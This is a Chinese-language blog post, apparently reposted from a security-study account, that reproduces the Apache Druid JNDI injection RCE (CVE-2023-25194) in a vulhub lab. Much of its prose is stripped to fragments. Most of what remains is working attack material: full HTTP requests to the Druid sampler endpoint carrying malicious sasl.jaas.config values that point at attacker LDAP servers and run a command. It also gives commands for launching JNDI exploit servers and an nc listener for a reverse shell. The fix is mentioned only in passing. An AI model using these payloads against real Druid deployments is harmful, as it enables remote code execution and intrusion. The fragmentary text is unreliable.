Apache Druid RCE漏洞复现及修复(CVE-2023-25194)

发布时间 2023-06-09 15:52:00作者: 那酒不要留
Apache Druid RCE漏洞复现及修复(CVE-2023-25194)

2023-03-16

 

 

使

 

 

瓜神学习网络安全
本公众号记录网络安全学习笔记
 

 Apache DruidOLAP线PBDruid广使Druid

Apache Druid使Apache KafkaKafkaCVE-2023-25194JNDI使Apache Kafka ConnectCVE-2023-25194

 

 

 

  •  

    0.19.0 <= Apache Druid <= 25.0.0

     

 

 

  • CVE-2023-25194

    QVD-2023-9629

-docker


github vulhub

https://github.com/vulhub/vulhub/blob/master/kafka/CVE-2023-25194/README.zh-cn.md
Apache Druid 25.0.0使kafka-clients3.3.1
[root@VM-4-17-centos CVE-2023-25194]# docker-compose up -dStarting cve202325194_web_1 ... done[root@VM-4-17-centos CVE-2023-25194]#
访http://your-ip:8888Apache Druid

 

 


1访


 


 

 

 

 

dnslog

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1Host: vps:8888Content-Length: 1400Accept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36Content-Type: application/jsonOrigin: http://vps:8888Referer: http://vps:8888/unified-console.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: pZaf_2132_ulastactivity=050484OuqAxDqETcOja26QKgFkE4HbrlSk4NbAkGRg9oNLIbkCUN; pZaf_2132_nofavfid=1; pZaf_2132_smile=1D1; pZaf_2132_home_readfeed=1682214968; pZaf_2132_lastviewtime=1%7C1682215445; pZaf_2132_lastcheckfeed=1%7C1682217817; kOJf_2132_saltkey=MGWItu8r; kOJf_2132_lastvisit=1683339017; kOJf_2132_ulastactivity=27e4qsFumyqDRGo03vcLLEHChJmZRharD1jfbUJnU1NIIIrbB8UL; kOJf_2132_nofavfid=1; kOJf_2132_lastcheckfeed=1%7C1683342726; PHPSESSID=3543e022151ed94117e84216Connection: close
{    "type":"kafka",    "spec":{        "type":"kafka",        "ioConfig":{            "type":"kafka",            "consumerProperties":{                "bootstrap.servers":"127.0.0.1:6666",                "sasl.mechanism":"SCRAM-SHA-256",                "security.protocol":"SASL_SSL",                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://nhagk5.dnslog.cn\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"            },            "topic":"test",            "useEarliestOffset":true,            "inputFormat":{                "type":"regex",                "pattern":"([\\s\\S]*)",                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",                "columns":[                    "raw"                ]            }        },        "dataSchema":{            "dataSource":"sample",            "timestampSpec":{                "column":"!!!_no_such_column_!!!",                "missingValue":"1970-01-01T00:00:00Z"            },            "dimensionsSpec":{
            },            "granularitySpec":{                "rollup":false            }        },        "tuningConfig":{            "type":"kafka"        }    },    "samplerConfig":{        "numRows":500,        "timeoutMs":15000    }}



2使JNDIExploitJNDI


[root@VM-4-17-centos JNDIExploit1.4]# java -jar JNDIExploit-1.4-SNAPSHOT.jar  -i your vps ip[+] LDAP Server Start Listening on 1389...[+] HTTP Server Start Listening on 3456...

 

2.1/touch shell.txt

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1Host:192.168.211.129:8888Accept-Encoding: gzip, deflateAccept: */*cmd:lsAccept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/jsonContent-Length: 1434
{    "type":"kafka",    "spec":{        "type":"kafka",        "ioConfig":{            "type":"kafka",            "consumerProperties":{                "bootstrap.servers":"127.0.0.1:6666",                "sasl.mechanism":"SCRAM-SHA-256",                "security.protocol":"SASL_SSL",                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.211.129:1389/Basic/Command/touch shell.txt\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"            },            "topic":"test",            "useEarliestOffset":true,            "inputFormat":{                "type":"regex",                "pattern":"([\\s\\S]*)",                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",                "columns":[                    "raw"                ]            }        },        "dataSchema":{            "dataSource":"sample",            "timestampSpec":{                "column":"!!!_no_such_column_!!!",                "missingValue":"1970-01-01T00:00:00Z"            },            "dimensionsSpec":{
            },            "granularitySpec":{                "rollup":false            }        },        "tuningConfig":{            "type":"kafka"        }    },    "samplerConfig":{        "numRows":500,        "timeoutMs":15000    }}

 

 

 

docker exec -it 1e453483411a   /bin/bash

 

 

 

 

getshell:


nc-lvvp 8111

 

使NDI-Injection-ExploitJNDI

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "shellbash"  -A ip

shell

 

Apache Kafka 3.4.0

Kafka ConnectJNDI

 


https://github.com/welk1n/JNDI-Injection-Exploit

JNDI-Injection-Exploitjdk1.8jar